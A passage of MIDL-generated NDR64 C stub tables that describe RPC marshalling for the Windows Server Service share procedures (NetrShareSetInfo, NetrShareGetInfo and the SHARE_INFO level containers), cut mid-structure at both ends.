_NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* NetName */      /* parameter NetName */\n        &__midl_frag736,\n        { \n        /* NetName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Reserved */      /* parameter Reserved */\n        &__midl_frag737,\n        { \n        /* Reserved */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag313_t __midl_frag313 =\n{ \n/* *_SHARE_INFO_503_I */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag218\n};\n\nstatic const __midl_frag312_t __midl_frag312 =\n{ \n/* *_SHARE_INFO_501 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag213\n};\n\nstatic const __midl_frag311_t __midl_frag311 =\n{ \n/* *_SHARE_INFO_1005 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag211\n};\n\nstatic const __midl_frag310_t __midl_frag310 =\n{ \n/* *_SHARE_INFO_1501_I */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag205\n};\n\nstatic const __midl_frag308_t __midl_frag308 =\n{ \n/* *_SHARE_INFO_1004 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag200\n};\n\nstatic const __midl_frag307_t __midl_frag307 =\n{ \n/* *_SHARE_INFO_502_I */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag190\n};\n\nstatic const __midl_frag306_t __midl_frag306 =\n{ \n/* *_SHARE_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag183\n};\n\nstatic const __midl_frag305_t __midl_frag305 =\n{ \n/* *_SHARE_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag178\n};\n\nstatic const __midl_frag303_t __midl_frag303 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag302_t __midl_frag302 =\n{ \n/* _SHARE_INFO */\n    { \n    /* _SHARE_INFO */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag303,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 10 /* 0xa */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag308,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag305,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag306,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 502 /* 0x1f6 */,\n        &__midl_frag307,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1004 /* 0x3ec */,\n        &__midl_frag308,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1006 /* 0x3ee */,\n        &__midl_frag311,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1501 /* 0x5dd */,\n        &__midl_frag310,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1005 /* 0x3ed */,\n        &__midl_frag311,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 501 /* 0x1f5 */,\n        &__midl_frag312,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 503 /* 0x1f7 */,\n        &__midl_frag313,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 0 /* 0x0 */\n};\n\nstatic const __midl_frag301_t __midl_frag301 =\n{ \n/* *_SHARE_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag302\n};\n\nstatic const __midl_frag295_t __midl_frag295 =\n{ \n/* NetrShareSetInfo */\n    { \n    /* NetrShareSetInfo */      /* procedure NetrShareSetInfo */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* NetName */      /* parameter NetName */\n        &__midl_frag736,\n        { \n        /* NetName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag737,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ShareInfo */      /* parameter ShareInfo */\n        &__midl_frag302,\n        { \n        /* ShareInfo */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* ParmErr */      /* parameter ParmErr */\n        &__midl_frag523,\n        { \n        /* ParmErr */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag281_t __midl_frag281 =\n{ \n/* *_SHARE_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag302\n};\n\nstatic const __midl_frag275_t __midl_frag275 =\n{ \n/* NetrShareGetInfo */\n    { \n    /* NetrShareGetInfo */      /* procedure NetrShareGetInfo */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* NetName */      /* parameter NetName */\n        &__midl_frag736,\n        { \n        /* NetName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag737,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag302,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag270_t __midl_frag270 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag737\n};\n\nstatic const __midl_frag268_t __midl_frag268 =\n{ \n/*  */\n    { \n    /* *_SHARE_INFO_503_I */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag266\n    }\n};\n\nstatic const __midl_frag267_t __midl_frag267 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag266_t __midl_frag266 =\n{ \n/* *_SHARE_INFO_503_I */\n    { \n    /* *_SHARE_INFO_503_I */\n        { \n        /* *_SHARE_INFO_503_I */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *_SHARE_INFO_503_I */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag218\n        },\n        &__midl_frag267,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag265_t __midl_frag265 =\n{ \n/* SHARE_INFO_503_CONTAINER */\n    { \n    /* SHARE_INFO_503_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SHARE_INFO_503_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag268,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag264_t __midl_frag264 =\n{ \n/* *SHARE_INFO_503_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag265\n};\n\nstatic const __midl_frag263_t __midl_frag263 =\n{ \n/*  */\n    { \n    /* *_SHARE_INFO_502_I */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag261\n    }\n};\n\nstatic const __midl_frag261_t __midl_frag261 =\n{ \n/* *_SHARE_INFO_502_I */\n    { \n    /* *_SHARE_INFO_502_I */\n        { \n        /* *_SHARE_INFO_502_I */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *_SHARE_INFO_502_I */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag190\n        },\n        &__midl_frag267,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag260_t __midl_frag260 =\n{ \n/* SHARE_INFO_502_CONTAINER */\n    { \n    /* SHARE_INFO_502_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SHARE_INFO_502_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag263,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag259_t __midl_frag259 =\n{ \n/* *SHARE_INFO_502_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag260\n};\n\nstatic const __midl_frag258_t __midl_frag258 =\n{ \n/*  */\n    { \n    /* *_SHARE_INFO_501 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag256\n    }\n};\n\nstatic const __midl_frag256_t __midl_frag256 =\n{ \n/* *_SHARE_INFO_501 */\n    { \n    /* *_SHARE_INFO_501 */\n        { \n        /* *_SHARE_INFO_501 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *_SHARE_INFO_501 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag213\n        },\n        &__midl_frag267,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag255_t __midl_frag255 =\n{ \n/* SHARE_INFO_501_CONTAINER */\n    { \n    /* SHARE_INFO_501_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SHARE_INFO_501_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag258,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag254_t __midl_frag254 =\n{ \n/* *SHARE_INFO_501_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag255\n};\n\nstatic const __midl_frag253_t __midl_frag253 =\n{ \n/*  */\n    { \n    /* *_SHARE_INFO_2 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag251\n    }\n};\n\nstatic const __midl_frag251_t __midl_frag251 =\n{ \n/* *_SHARE_INFO_2 */\n    { \n    /* *_SHARE_INFO_2 */\n        { \n        /* *_SHARE_INFO_2 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *_SHARE_INFO_2 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag183\n        },\n        &__midl_frag267,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag250_t __midl_frag250 =\n{ \n/* SHARE_INFO_2_CONTAINER */\n    { \n    /* SHARE_INFO_2_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SHARE_INFO_2_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag253,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag249_t __midl_frag249 =\n{ \n/* *SHARE_INFO_2_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag250\n};\n\nstatic const __midl_frag248_t __midl_frag248 =\n{ \n/*  */\n    { \n    /* *_SHARE_INFO_1 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag246\n    }\n};\n\nstatic const __midl_frag246_t __midl_frag246 =\n{ \n/* *_SHARE_INFO_1 */\n    { \n    /* *_SHARE_INFO_1 */\n        { \n        /* *_SHARE_INFO_1 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *_SHARE_INFO_1 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag178\n        },\n        &__midl_frag267,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag245_t __midl_frag245 =\n{ \n/* SHARE_INFO_1_CONTAINER */\n    { \n    /* SHARE_INFO_1_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SHARE_INFO_1_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag248,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag244_t 